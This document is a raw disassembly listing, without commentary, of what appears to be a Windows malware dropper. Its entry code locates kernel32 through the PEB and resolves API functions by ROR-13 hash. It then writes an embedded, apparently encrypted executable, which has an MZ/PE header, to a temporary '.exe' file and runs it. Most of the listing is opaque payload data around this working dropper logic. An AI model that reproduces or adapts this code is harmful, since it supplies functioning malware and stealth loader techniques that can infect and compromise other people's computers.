		dd 0FE19DAC2h, 9F0A36CBh, 0A67979E3h, 0DD920090h, 0E919FC3h
		dd 0E840D9FBh, 9C69DC16h, 97427E43h, 5E814123h,	6E1A40AEh
		dd 699ECDBh, 229D9898h,	0C461878Dh, 1A65985Ah, 0A99FFC8Fh
		dd 0E228D476h, 1995737h, 4F8BA484h, 0E3708CDFh,	12ED0185h
		dd 0F70B690Ah, 0EF88907Bh, 36E9658Dh, 0C217BAD2h, 1A944B07h
		dd 0A9D500DEh, 4256D347h, 0B20D9D7Fh, 0DB0E444Dh, 0DAE509CDh
		dd 0A38969B0h, 9A5E4863h, 0CB251B08h, 375E04Fh,	6680A69Ah
		dd 51244B93h, 0DF41F504h, 0C514D411h, 36D04A1Ah, 0E2A857C3h
		dd 5B41B422h, 0BB110F6Bh, 0B5196CFBh, 9CC851FAh, 7FB1445Eh
		dd 858D218Ah, 8649B30Fh, 173D9D9Ch, 0BE6454F7h,	0CEBF2404h
		dd 63F00C5Fh, 926D8121h, 271CDCC4h, 0B10E10BBh,	87AC2B57h
		dd 42FD2837h, 6B9134D7h, 0C7D0C36Dh, 75D9EC2Fh,	0C54C1B21h
		dd 67903356h, 1A1CCA9Eh, 32B2C4CFh, 0A9D6C8A3h,	0D3A4974Bh
		dd 39F520DBh, 51F84F4Dh, 5B8C0FE2h, 4EA852C2h, 0DCA93FBh
		dd 15909A64h, 1AEEA576h, 4A82C398h, 815C5028h, 0D69AC4BEh
		dd 5926232h, 0DAC8EA8Eh
		dd 161F7346h, 0DD294E8Eh, 0E096B4A8h, 0EE23D723h, 0B5FD6406h
		dd 0A7DA5528h, 2BC7BDE8h, 4592E4C7h, 4915B46Fh,	8E2BD32Fh
		dd 17DE883h, 95EA7BDCh,	129BFD66h, 4DA52CFFh, 1EC4ABACh
		dd 6883251Bh, 0D8D24AA7h, 0AAA3DC63h, 5E313C7Fh, 27C60D9h
		dd 699D954Bh, 1BB847D6h, 52A820D6h, 0DD2CAFB3h,	35458238h
		dd 89162F2Ah, 0BF3E233Ch, 9D0FBD40h, 95B384A4h,	0D1249300h
		dd 0FD038D70h, 0D14E1FE3h, 0D9B24D24h, 52468E3Ch, 0DD62F773h
		dd 2AB2048Ah, 0CFB1AF44h, 0D586F3A0h, 6C005088h, 0CADE9BF8h
		dd 57AEE43h, 0A0C10E5Ch, 0AAFD6803h, 0E17ECBB8h, 0AA55C083h
		dd 0AB58F13Fh, 32CD3779h, 0EE72F94Eh, 68DAD41Bh, 2FFBC944h
		dd 6B39C8E3h, 80A0F255h, 8FFA3A86h, 0A6394FB9h,	0D151A698h
		dd 35104299h, 3FCA15ABh, 0F6699F39h, 2AB6BB4h, 51C174B7h
		dd 0EA1689AEh, 5ADA1A7Fh, 5283D3B1h, 0ACCD00E8h, 1686F05Bh
		dd 57C8C50Eh, 241288E3h, 0FE61D6D9h, 0B54BED63h, 857B8320h
		dd 99AD38D1h, 8452F4CDh, 7A052837h, 0DEF85CEEh,	3D82026Dh
		dd 0AA2E2167h, 0A6440ABh, 0F269998Fh, 92679833h, 16A98DD9h
		dd 3071D88Fh, 448C03B0h, 0B11FDC2Ch, 0F342515h,	6175A07Fh
		dd 26BFA4FAh, 3AB47893h, 8E11A4C1h, 0D0F13823h,	0F363E350h
		dd 827D9CEAh, 0F76B7091h, 0E295409Fh, 0C62D457Ah, 5AD3A33h
		dd 6E8535E2h, 9AE578DBh, 5640C90Fh, 62A923DEh, 0BB9555B7h
		dd 0FE0425FCh, 0E67A0C1Fh, 8959B953h, 7AF8D987h, 8E8010FBh
		dd 9C945CDFh, 47FD2837h, 0A30193A3h, 0AA15F440h, 0B147D83Ah
		dd 72B92976h, 0EE71C4A7h, 0DA2CC49Bh, 56BD5572h, 6B2ACAA3h
		dd 878F31F4h, 0E2F5608Bh, 59C6B810h, 2D9038FBh,	0CB4CCB8h
		dd 274E50FBh, 0F629A559h, 0FD41F6ABh, 55457B68h, 61158029h
		dd 46A09ECAh, 4E93D3B3h, 71D95AE4h, 159A0FA6h, 56C8C90Dh
		dd 865709E3h, 1E61D457h, 1CE7DE00h, 65EDF6DCh, 975A28A9h
		dd 0CE11D0B6h, 6A05903Bh, 8324529Ah, 0C23DDCBFh, 8E6C39DCh
		dd 8E2640ABh, 0CF5695E8h, 7809873h, 6EB15427h, 0DA149568h
		dd 32FAFEACh, 56ECCDD4h, 3EA114B7h, 0E7AF04Bh, 26B9CCB7h
		dd 0BAC50B6Ch, 71EE55A8h, 3E345F0h, 0A46C1CEFh,	82AF2CCCh
		dd 6BCAF417h, 6AD539D9h, 7092674h, 0F22DFC79h, 649AE467h
		dd 0A9E703D3h, 0C23BBFC6h, 32F08558h, 0F36A54F7h, 0CA75B066h
		dd 0DAF25A2Dh, 0FF883B77h, 4ED12417h, 0FAE8B738h, 3D29DC6Fh
		dd 8FC6079h, 997637DFh,	2CD04B9Ch, 0B1D9EC06h, 72B92976h
		dd 0EE7184A7h, 0AD27C41Bh, 1AFB7FD7h, 57D4F88Ah, 0BE61ADD9h
		dd 0BDD1340h, 97BCBBAFh, 926DB827h, 7A912447h, 0EBDDA7F9h
		dd 99528C7h, 0E5671BCh,	75E90794h, 0BC448C59h, 5FC6488Ch
		dd 46F1ED3Eh, 0AC284A7h, 2B6AAE04h, 844EB11Dh, 981D88E2h
		dd 0BE55FBA2h, 23B3558Bh, 52AFF40Dh, 0EDFDB0C1h, 318E286Fh
		dd 308ECAC4h, 26E35FE3h, 0F64C6D74h, 9E01B417h,	6B5850EBh
		dd 4F4A59B9h, 0F23436FEh, 3744727h, 59A5708Bh, 960991E8h
		dd 21F64823h, 4014EBDFh, 375A072h, 26B99E98h, 72ABF793h
		dd 0BA202130h, 3A45D03Bh, 719D9CAFh, 7B1A4091h,	551B0BE8h
		dd 2AACAE26h, 0F1A8FFFh, 0B8C6F078h, 58348F77h,	0A3E530E2h
		dd 0D53AB445h, 239542EAh, 1D6244F5h, 4FBEA053h,	0E6393525h
		dd 9209843Bh, 46936507h, 0AAC611E2h, 820649E5h,	0C70A6843h
		dd 1EC100E6h, 0BA55C06Bh, 0CBDAAA4Bh, 32CD089Eh, 6B86C411h
		dd 5A65842Ah, 168B7CCFh, 24A3DCD6h, 8A101180h, 0AF5608Bh
		dd 0A04C4C9Bh, 0E65D4D99h, 8B662407h, 0BA8564CAh, 0F669DC2Fh
		dd 5372336h, 5C6BB695h,	1E262FDh, 349E6676h, 0A4CFF271h
		dd 7C027305h, 7E477B3Fh, 0D5913E00h, 0E224DE5Eh, 7A6ED437h
		dd 0B54ADB03h, 5F8B3920h, 87523893h, 0CE11D143h, 436B25C4h
		dd 0A3565CAFh, 0C23DDDBFh, 0A75B39DAh, 0BF5840ABh, 0C61915DDh
		dd 0B267CA22h, 57A7F1D8h, 4F5A30DBh, 9649C9F7h,	5B8BFDDCh
		dd 0AB5E14B7h, 8A35D577h, 1EF77992h, 0E71278D3h, 8E519D95h
		dd 8ED02F2Dh, 0F5E95C9Ah, 0C204FE66h, 3682F417h, 6A9500ABh
		dd 71806A2h, 0B27E91DEh, 21415C67h, 8F65F51Ah, 16CCBC4Fh
		dd 0DD558BA0h, 0FB205B47h, 0CA75B58Bh, 0E669319Ch, 8E58B879h
		dd 6AADE561h, 8FF47CB7h, 72C1BC7Ch, 370297FCh, 0E5FFDCD2h
		dd 78BD3F94h, 272653C0h, 4AA0E7DDh, 5663F0F1h, 5A25B03Eh
		dd 0E92C94AFh, 0DB28375Ch, 8E05D0FCh, 32BBD546h, 0F6B24CDFh
		dd 0E8EC9E1Bh, 2BE22641h, 0BAC538ADh, 32E29CD0h, 52EF2829h
		dd 6B39E168h, 2E96806Bh, 5AA76D77h, 791678Ch, 0AAF707E4h
		dd 0E59EDBB3h, 0A9B6D470h, 617C771Ch, 0FE61A08Fh, 0F204CB8Bh
		dd 66F98CF0h, 12AD283Bh, 0CE712687h, 7A05A083h,	36AAB4EFh
		dd 0E6BFE883h, 0BA553957h, 0A9FB8DE7h, 0DF252C47h, 0B20D7013h
		dd 3A7A4427h, 51F800BFh, 85E47D55h, 8ADD0817h, 0C15EF1CEh
		dd 8A71222Ah, 21BBCA1Eh, 22FB7B96h, 0C0A53D34h,	5EF959B4h
		dd 0C1500Dh, 168Fh dup(0)

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc far
		push	(offset	loc_42F0A4+1)
		call	sub_43702C
		retf	835Dh
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7Ch,	0FFh, 8
		dd 136D7C86h, 19827C86h, 8AE77C82h, 4E647C83h, 65A57C83h
		dd 7C83h, 7E0000h

; =============== S U B	R O U T	I N E =======================================



sub_43702C	proc near		; CODE XREF: start+5p
		call	sub_4370B9
		pop	eax
		pusha
		lea	ebp, [eax-0Ah]
		call	sub_4370A4
		sub	esp, 400h
		mov	esi, esp
		push	esi
		push	200h
		call	dword ptr [ebp+0Ah]
		push	esi
		push	0
		lea	eax, [ebp+2Ah]
		push	eax
		push	esi
		call	dword ptr [ebp+0Eh]
		mov	edi, esi
		xor	eax, eax
		mov	cl, 0FFh
		repne scasb
		mov	dword ptr [edi-1], 6578652Eh
		mov	[edi+3], al
		push	1001h
		lea	eax, [esi+200h]
		mov	byte ptr [eax],	87h
		push	eax
		push	esi
		call	dword ptr [ebp+16h]
		mov	edi, eax
		push	dword ptr [ebp+131h]
		lea	eax, [ebp+135h]
		push	eax
		push	edi
		call	dword ptr [ebp+1Ah]
		push	edi
		call	dword ptr [ebp+1Eh]
		push	0
		push	esi
		call	dword ptr [ebp+12h]
		add	esp, 400h
		popa
		retn
sub_43702C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4370A4	proc near		; CODE XREF: sub_43702C+Ap
		pusha
		mov	edi, eax


loc_4370A7:				; CODE XREF: sub_4370A4+11j
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_4370B7
		push	ebx
		push	eax
		call	sub_4370DD
		stosd
		jmp	short loc_4370A7
; ---------------------------------------------------------------------------


loc_4370B7:				; CODE XREF: sub_4370A4+7j
		popa
		retn
sub_4370A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4370B9	proc near		; CODE XREF: sub_43702Cp
		push	ebp
		mov	eax, large fs:30h
		test	eax, eax
		js	short loc_4370D0
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	short loc_4370D9
; ---------------------------------------------------------------------------


loc_4370D0:				; CODE XREF: sub_4370B9+9j
		mov	eax, [eax+34h]
		mov	ebp, [eax+0B8h]


loc_4370D9:				; CODE XREF: sub_4370B9+15j
		mov	ebx, ebp
		pop	ebp
		retn
sub_4370B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4370DD	proc near		; CODE XREF: sub_4370A4+Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4370F3:				; CODE XREF: sub_4370DD+33j
		jecxz	short loc_437127
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		cld


loc_4370FE:				; CODE XREF: sub_4370DD+2Dj
		xor	eax, eax
		lodsb
		cmp	al, ah
		jz	short loc_43710C
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4370FE
; ---------------------------------------------------------------------------


loc_43710C:				; CODE XREF: sub_4370DD+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4370F3
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		jmp	short loc_437129
; ---------------------------------------------------------------------------


loc_437127:				; CODE XREF: sub_4370DD:loc_4370F3j
		xor	eax, eax


loc_437129:				; CODE XREF: sub_4370DD+48j
		mov	[esp+20h+var_4], eax
		popa
		retn	8
sub_4370DD	endp

; ---------------------------------------------------------------------------
		align 2
		dw 0D0h
		dd 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 0
		dd 5100h, 6 dup(0)
		dd 0C800h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd 83F10700h, 0ED9043D8h, 2 dup(0ED90438Bh), 0B098C08Bh
		dd 0ED90408Bh, 0EC90438Bh, 0ED90428Bh, 0ED90438Bh, 0ED90428Bh
		dd 0B79C468Bh, 0ED90428Bh, 6369528Bh, 0ED904368h, 8Bh
		dd 3 dup(0)
		dd 455000h, 3014C00h, 1E138600h, 43h, 0
		dd 0F00E000h, 7010B01h,	0Ah, 0A60000h, 4C0000h,	113CF00h
		dd 2 dup(100000h), 80000000h, 100009h, 20000h, 400h, 0
		dd 400h, 0
		dd 1900000h, 40000h, 0
		dd 200h, 10000000h, 100000h, 10000000h,	100000h, 0
		dd 1000h, 2 dup(0)
		dd 600800h, 2800h, 14h dup(0)
		dd 600000h, 800h, 6 dup(0)
		dd 73622E00h, 73h, 4A1C00h, 100000h, 5 dup(0)
		dd 8000h, 64722EC0h, 617461h, 5400h, 600000h, 20000h, 40000h
		dd 3 dup(0)
		dd 4000h, 61642E40h, 6174h, 1140000h, 700000h, 0CA0000h
		dd 60000h, 3 dup(0)
		dd 4006000h, 0E0h, 71h dup(0)
		dd 603800h, 0
		dd 603000h, 2 dup(0)
		dd 604600h, 600000h, 5 dup(0)
		dd 603800h, 0
		dd 4500AF00h, 50746978h, 65636F72h, 4B007373h, 454E5245h
		dd 2E32334Ch, 6C6C64h, 6Bh dup(0)
		dd 3D9A5100h, 0B25D970Ch, 82526279h, 15DEDEB6h,	8F16940Fh
		dd 6F38FDA7h, 0BE874E4Eh, 0E7AB59F5h, 0B403F46Ch, 0E051F69Bh
		dd 5D072C80h, 0A0D3782Ch, 6D1F2AB3h, 6D36FFC8h,	0E59023CFh
		dd 0EB5CA055h, 892EC36Ch, 5FD1E88h, 0CA01E074h,	71B4BBFCh
		dd 73673A28h, 3FDD00B0h, 8662CFBCh, 39D39CEEh, 0A5893E9Dh
		dd 2A0B7090h, 0DFF8B881h, 6D2C4FB9h, 0C398A6F3h, 0FAB92544h
		dd 4D5173D9h, 14F06253h, 58A3AB46h, 96EE500h, 183ED66Fh
		dd 0F8C18A2Bh, 4ECE662Fh, 0F0630AA0h, 6019B169h, 8B8F2EEAh
		dd 0EAAED7E4h, 0CEC7DC9h, 0AC17B091h, 0DAEA1EE7h, 8783A63h
		dd 531CE5ACh, 983BFDBAh, 76484468h, 2114E6CFh, 0CEC64A9Dh
		dd 743DD032h, 6CC377A2h, 4796B288h, 0A5E5B5FEh,	2DF562Ah
		dd 91F411E1h, 80BB1798h, 0C3ECBD14h, 0E7A06DF3h, 3C8C551Eh
		dd 0F9829ECh, 0B37CD14Fh, 0E75821EAh, 6F2F788Dh, 327FCBF1h
		dd 67C69801h, 642DF6AFh, 1BD49D5Dh, 6FCE00D2h, 0D2A4CDA6h
		dd 73CA564Ch, 0D111E1CAh, 735C7DDEh, 0DFF0E1AAh, 0D6642DF6h
		dd 0AD772045h, 89561FE8h, 9236FFC8h, 0FF10D95Ch, 0DBA46D36h
		dd 0F7804912h, 0D39C652Eh, 0AF78410Ah, 8B541DE6h, 6730F9C2h
		dd 430CD59Eh, 1FE8B17Ah, 0FBC48D56h, 0D7A06932h, 0B37C450Eh
		dd 9E5922EBh, 611291CAh, 0E60E8A2Ch, 40A0FA7h, 26D871ECh
		dd 0E580B99Ch, 4CF6812Fh, 3BA349A8h, 9653F99Ch,	391886ADh
		dd 4AAB6C02h, 19260FA8h, 52C80D97h, 0EE41ED8Ch,	0CAA76428h
		dd 0EEB78049h, 99935C25h, 4A246C8Eh, 53E9FA10h,	3CF0E329h
		dd 0DB0CC2h, 0E73A21ECh, 431C5785h, 1229B411h, 73324EAh
		dd 8840A396h, 0B3A7B05Eh, 1AD12A1Ah, 0F63B2CE2h, 845A2D9Eh
		dd 0E2BFA866h, 0BD4E11F2h, 9A56814Fh, 16B8AB60h, 0BA4D66B4h
		dd 25CFD846h, 0EE2235DBh, 0F4055EFCh, 0D6697A90h, 60BFC0BAh
		dd 4E81D278h, 6D5AE12h,	0A43F28E6h, 4FD17C16h, 3FE4FF1Dh
		dd 1BE4AD76h, 0F7C08952h, 0D39C652Eh, 0FF78410Ah, 6CE9B273h
		dd 0C915D8A2h, 21E44C1Bh, 0FDC68F58h, 39A26B34h, 0CF4D29F0h
		dd 0BD763907h, 3902CB54h, 25EEB760h, 521BE20Ch,	9F6831F9h
		dd 0ECB57CA6h, 29F2BB43h, 15DE9760h, 1CA935Ch, 0DBA8713Ah
		dd 0BF88511Ah, 9F642DF6h, 7B440DD6h, 5720E9B2h,	450ED79Eh
		dd 25EEB778h, 2CA935Ch,	0E0A9723Bh, 0CC955E17h,	0B8814A13h
		dd 0A46D36EFh, 905922CBh, 7C35FEC7h, 0FC21EAB3h, 603CA52h
		dd 521BE4ADh, 2B5821E9h, 10D9A26Bh, 0ECB57E47h,	0C8915A23h
		dd 0A46D36FFh, 804912DBh, 5C25EEB7h, 0D801CA93h, 5E1FE62Eh
		dd 3A03CC95h, 16DFA871h, 0F2BB844Dh, 0CE976029h, 0AA733C05h
		dd 864F18E1h, 622BF4BDh, 3E07D099h, 1AE3AC75h, 0F6BF8851h
		dd 0D29B642Dh, 0AE774009h, 8A531CE5h, 662FF8C1h, 420BD49Dh
		dd 1EE7B079h, 0FAC38C55h, 0D69F6831h, 0B27B440Dh, 8E5720E9h
		dd 3F33FCC5h, 733C25A6h, 4F18E1AAh, 7C450CD6h, 6831FAA3h
		dd 440DD69Fh, 24EDB67Fh, 0C9925Bh, 0DCA56E37h, 38814A13h
		dd 0A13DA66Fh, 0FEA75FD0h, 0DAA36C35h, 0C68F5801h, 3CC959Dh
		dd 0E1AA7338h, 0C18A531Ch, 9D662FF8h, 79420BD4h, 151EE7B0h
		dd 64FA03CCh, 3CE11CEDh, 18E1AA73h, 945D26EFh, 9AA73BBh
		dd 3F08D19Ah, 21EAB370h, 0FDC68F58h, 0D9A26B34h, 957E4710h
		dd 351A430Ch, 0D8BD8825h, 0D13A8B1Ah, 0B3238178h, 11D402CAh
		dd 6608CA71h, 68C94AF7h, 0E15930DCh, 0A82E9101h, 8F868D8h
		dd 601AB481h, 977E02C7h, 0B554FD43h, 3EE16AE1h,	9A318155h
		dd 0A9AC46FAh, 0E99A04AFh, 56E2962Ch, 20EB58BDh, 19B4866Bh
		dd 37AEA922h, 17E25BB8h, 89533AA8h, 33E89A2Bh, 0B340ED83h
		dd 8B6BE152h, 8F86822h,	0E3432397h, 0CC0A8373h,	9D2DEF64h
		dd 3CD31EE7h, 0C221282Fh, 0A24CE771h, 3ADE6411h, 0B360E59Eh
		dd 894E33F8h, 70E78B21h, 5A3308B0h, 4C89049Fh, 8F740FA5h
		dd 8841C253h, 0C469EC96h, 42F1A852h, 0CA671BB0h, 8280610Ch
		dd 0D862CCDh, 0B5590C08h, 52C76F0Fh, 18B254C1h,	6525DF70h
		dd 8F44D7BCh, 6B34FDC6h, 4710D9A2h, 23ECB57Eh, 0FFC8915Ah
		dd 0DBA46D36h, 0B7804912h, 935C25EEh, 6F3801CAh, 4B14DDA6h
		dd 27F0B982h, 3CC955Eh,	0DFA8713Ah, 0BB844D16h,	976029F2h
		dd 733C05CEh, 4F18E1AAh, 2BF4BD86h, 7D09962h, 0E3AC753Eh
		dd 0BF88511Ah, 9B642DF6h, 774009D2h, 531CE5AEh,	2FF8C18Ah
		dd 0BD49D66h, 0E7B07942h, 0C38C551Eh, 9F6831FAh, 7B440DD6h
		dd 5720E9B2h, 33FCC58Eh, 0FD8A16Ah, 0EBB47D46h,	0C7905922h
		dd 0A36C35FEh, 7F4811DAh, 5B24EDB6h, 3700C992h,	13DCA56Eh
		dd 0EFB8814Ah, 0CB945D26h, 0A7703902h, 834C15DEh, 5F28F1BAh
		dd 3B04CD96h, 17E0A972h, 0F3BC854Eh, 0CF98612Ah, 0AB743D06h
		dd 875019E2h, 632CF5BEh, 3F08D19Ah, 0E7E4AD76h,	0A41DE42Eh
		dd 814A131Bh, 5D26EFB8h, 3902CB94h, 3DDEA770h, 83440D15h
		dd 0B07940CAh, 8C551EE7h, 6831FAC3h, 720DD69Fh,	408148D0h
		dd 0EDB67F87h, 0C9925B24h, 0A56E3700h, 0C34A13DCh, 0F9CA939Bh
		dd 36FFC650h, 12DBA46Dh, 0EEB78049h, 9A935C25h,	0A021E830h
		dd 8D561FE7h, 6932FBC4h, 450ED7A0h, 7DEAB37Ch, 43844DD5h
		dd 0F0B9808Ah, 0CC955E27h, 0A8713A03h, 0E24D16DFh, 0D0F1B840h
		dd 5D26EF37h, 3902CB94h, 15DEA770h, 83BA834Ch, 596A33FBh
		dd 0D69F66B0h, 0B27B440Dh, 8E5720E9h, 1433FCC5h, 0DEEFB67Eh
		dd 5B24ED35h, 3700C992h, 13DCA56Eh, 63B8814Ah, 41824BD3h
		dd 0EEB77E88h, 0CA935C25h, 0A66F3801h, 1A4B14DDh, 0A021E830h
		dd 8D561FE7h, 6932FBC4h, 450ED7A0h, 21EAB37Ch, 0FDC68F58h
		dd 0D1A26B34h, 9E8B179h, 733C050Dh, 2418E1AAh, 0BE58FF94h
		dd 0C3B6291Bh, 33FC8136h, 0AB4BED6Ah, 42E9B106h, 0DA8803CBh
		dd 7E02CB12h, 0F7AE27D2h, 822FB741h, 12A06EE5h,	68ECB578h
		dd 6AE473E0h, 2FAA1DE7h, 47C86D02h, 8E12E07Eh, 8D08E315h
		dd 0E92ACF6Ch, 1C8B1620h, 659F1F96h, 45EA07F2h,	8EA66FA0h
		dd 0A92EA32Fh, 0C415E05Bh, 0D781B257h, 35AE6432h, 7F1CB15Eh
		dd 0BA3FBEB6h, 4F2F462Eh, 45EA8FA8h, 5FD854CCh,	43DE58DFh
		dd 29CE638Ch, 0ECF76E8h, 972ED869h, 42F700E7h, 0B5AB74BDh
		dd 0CA3CC823h, 0A055E251h, 0F5491203h, 7315B95Eh, 0BA849ACh
		dd 1BE4AD66h, 72C08952h, 0CC11E3A0h, 7E713A03h,	0BD854CD4h
		dd 98622BF4h, 773F08D1h, 9F1CE5AEh, 8D26EF37h, 0BF34FD05h
		dd 0E3460F17h, 6F7C45EEh, 0CD965FA7h, 5EFB5804h, 1B14B9h
		dd 632CE9AEh, 3708D19Ah, 23ECB57Eh, 0FFC8915Ah,	0DBA46D36h
		dd 0B7804912h, 935C25EEh, 6F3801CAh, 0CB14DDA6h, 4E18917Eh
		dd 541C4888h, 7A9BC48Dh, 561FE8B1h, 0B0B48A0Eh,	0EA1DA532h
		dd 85BBF0A6h, 145A58E7h, 0F6BF8851h, 951A642Dh,	0A77039E1h
		dd 8FAE0735h, 380845C0h, 30E8FA3Ah, 0C5EFA4F6h,	7B49D9EEh
		dd 6FC7B6C0h, 4A14DDA6h, 0F446E058h, 89BE155Fh,	8A132BB9h
		dd 0D6FCA240h, 13C0022Ah, 65BDF2E1h, 0A29CBD67h, 0D75D7832h
		dd 0AD94D07Ch, 0E762296Ch, 4100289Dh, 4A8A0698h, 0F446E058h
		dd 89BE155Fh, 83132BB9h, 47E1594Bh, 0A1165EF5h,	1034B688h
		dd 0DD53C80h, 0BD7B27C5h, 278CA473h, 6AB23012h,	7A20C20Ah
		dd 46849454h, 3F706791h, 1E23E5E7h, 3DC50E96h, 0F42A5874h
		dd 0B6022AC2h, 0BA0B4DEBh, 2E4DDA8Dh, 0D19FDC67h, 4967DB53h
		dd 22586805h, 0C3E1C0ECh
		dd 3A7AB3E8h, 5BA42F71h, 951B5D13h, 61AC0854h, 6177BFD7h
		dd 76AC9C5Dh, 93A1AB40h, 99EE825Eh, 0C18A531Ch,	763FFB41h
		dd 0A4A26EADh, 57DF2C4Dh, 1EEACBF9h, 2173A090h,	534206Bh
		dd 0F839185Ah, 0E30EE7EEh, 2C8534E6h, 2CA56D88h, 7C82C48Ah
		dd 266D7CBCh, 4208B204h, 58CE038Ah, 0E135C452h,	0D952DBB4h
		dd 447E4811h, 28E5EBB1h, 0D99203A0h, 0C2ED4811h, 0C4CD000Eh
		dd 0CBEB7A8Fh, 2FE54BFBh, 40D553D1h, 0DB52ACD0h, 567295E0h
		dd 5F875849h, 1DD79796h, 0AC08D1DBh, 2F60F7B3h,	0C8BA0785h
		dd 101ED2A1h, 9578D5DCh, 46DE6C2Ch, 905A149Eh, 0BD444E4Bh
		dd 72BC3D64h, 27915B5Bh, 696D230Ch, 1098A740h, 5192185Ah
		dd 0CFA64C67h, 1F15A4CFh, 78819E9h, 0C48F4FCFh,	0E425875h
		dd 0AE6139C9h, 864ECC8Ch, 23CAD0BFh, 448E915Ah,	0C92A0E7Dh
		dd 5B450DD6h, 773586AEh, 0EEC77775h, 0F7BF7693h, 0D0A46D2Dh
		dd 0CC95471Eh, 0A10ADDF5h, 0F938AD67h, 0E8A0743Dh, 588E84D2h
		dd 0C820295Dh, 0D30B73C7h, 69220BB4h, 2060128Bh, 0EAFB37Eh
		dd 6834EDCFh, 5305A254h, 5EF74855h, 0F23B25D7h,	0C105A0D6h
		dd 1A840128h, 0F2604B01h, 0BC2253EBh, 8E4A0C75h, 2F659B47h
		dd 0F792ADB9h, 0CDBB4F9Bh, 721AA5A9h, 0E18A08C2h, 28ED2344h
		dd 83CB645Dh, 0B0E6F8C7h, 9A1420C1h, 890E9415h,	38478B09h
		dd 31B53FBDh, 7A487E44h, 0C40AF3BAh, 30BF3AB6h,	6EA22AB6h
		dd 5FD5EEB6h, 9952C337h, 0BB3FC9FFh, 9638138h, 7473F03Dh
		dd 77D087A3h, 2CC5498Eh, 8A1EE453h, 158EF4A3h, 2E0AB2A3h
		dd 0F8F1EE98h, 3A7044EBh, 0A5772EF9h, 7FF4CCD4h, 0D88A33D8h
		dd 0BBFD9622h, 53ED3977h, 5C59A360h, 0C79C376Ch, 4371435Dh
		dd 0AC7C045h, 0CDAF38BEh, 20B40F28h, 0E4BD21B2h, 78388D0Ah
		dd 0C092B6F1h, 139720D0h, 830B11E0h, 7A54BE4h, 0D379E86Dh
		dd 0F3352B10h, 3166769Dh, 8236C16Fh, 18E84FE6h,	343CE222h
		dd 49865DEh, 0C63F5A88h, 0A41FF66Dh, 905C95E9h,	801FB05h
		dd 0B1641258h, 0DE5EFF6Bh, 14B59F05h, 0FF80591Ah, 93A5834Dh
		dd 0E151128Fh, 3FA90F28h, 0F5ECD0A5h, 0C01EC872h, 15FDD6A7h
		dd 0C2751ADBh, 754C5051h, 9C993FD3h, 58CB81A4h,	28E8B2ABh
		dd 2C0063B7h, 0C2C06919h, 713FA040h, 9B8C7CC7h,	9A034140h
		dd 41100CF1h, 0B1F75558h, 17592AB4h, 50DF97CDh,	106CAAB0h
		dd 7AFB6608h, 7223EEB7h, 72801EA8h, 2BF74Dh, 2137EAC3h
		dd 8B4B6FF4h, 0E685826Eh, 3E167FCFh, 0D1F5390Bh, 85D65F3Eh
		dd 0D08BB7A3h, 310A44C4h, 5615ECCAh, 0D62AF062h, 4A13CDB8h
		dd 0CB6A108Eh, 74821E3Dh, 9F1C67BEh, 378081AEh,	0B10C6376h
		dd 3441FD86h, 621226FDh, 36284E99h, 0D29842EFh,	0C17CC118h
		dd 0A38B1C20h, 5EE829E1h, 0B235050Bh, 0DD54522Dh, 0D83EFA7Dh
		dd 72BBC5B6h, 572A27FDh, 76C09CB8h, 3199E6DAh, 5DDD1727h
		dd 0B003AD9Dh, 3526E194h, 0B9A27B6Ch, 0B2466A3Eh, 0A8CE14A3h
		dd 98716984h, 1E8401F6h, 568F0E4Ch, 0DC1EB486h,	12B8C79h
		dd 0D575BE5Bh, 40C66794h, 8D31D099h, 66C720D3h,	807F4889h
		dd 5AA54B23h, 42996D6Ah, 0F66805ADh, 83A9B97Ch,	177AB6EEh
		dd 0B579FD75h, 0EAD862CCh, 1E3B458Ah, 0D71C2BF5h, 7817C005h
		dd 0CAD410B9h, 4BA7854Bh, 625E2DD0h, 0EF6EB685h, 76AFE869h
		dd 59199FADh, 40818E66h, 13CD2668h, 66248BEBh, 0ED84F0CBh
		dd 0A7E7023Ah, 1DC14709h, 9E53A042h, 72B120DEh,	0BAC6C21h
		dd 0BBEFC5F0h, 0B0DEE488h, 5AF59C9Dh, 0C2DCA1CAh, 1AC51F1h
		dd 17867F1Eh, 0B8144FC5h, 0E5520D2Fh, 0CB240744h, 3D1C4146h
		dd 828192h, 0BE6CA294h,	0E9104573h, 359ABFC3h, 6150779Ah
		dd 80B02E1h, 531076B7h,	5B694A0h, 4387BDEFh, 3BC60A35h
		dd 492C568Bh, 0C9156FC3h, 56E5F9F1h, 0B7E2DD69h, 0C72B2F9Ch
		dd 0EF151386h, 0A5928BF5h, 1E7B625Fh, 0E5D1D227h, 0CF46260Bh
		dd 0F406D6FDh, 32E61090h, 0B57FB6D5h, 0C325627Eh, 0DA103088h
		dd 6FE8463Ch, 1E95595Ch, 23A9FCD7h, 0FD59587Bh,	2C8EFDBFh
		dd 92C8FC4Fh, 35F7065Ch, 4C77FFE9h, 0A38AE9CEh,	1496EDE3h
		dd 0DAD2ED8Bh, 6B3ABB7Bh, 69B3DACBh, 86C25CDh, 0D1CF053Bh
		dd 0C56CB05Dh, 2C944BFFh, 3ADD2CCBh, 19999B07h,	0BD1D1D57h
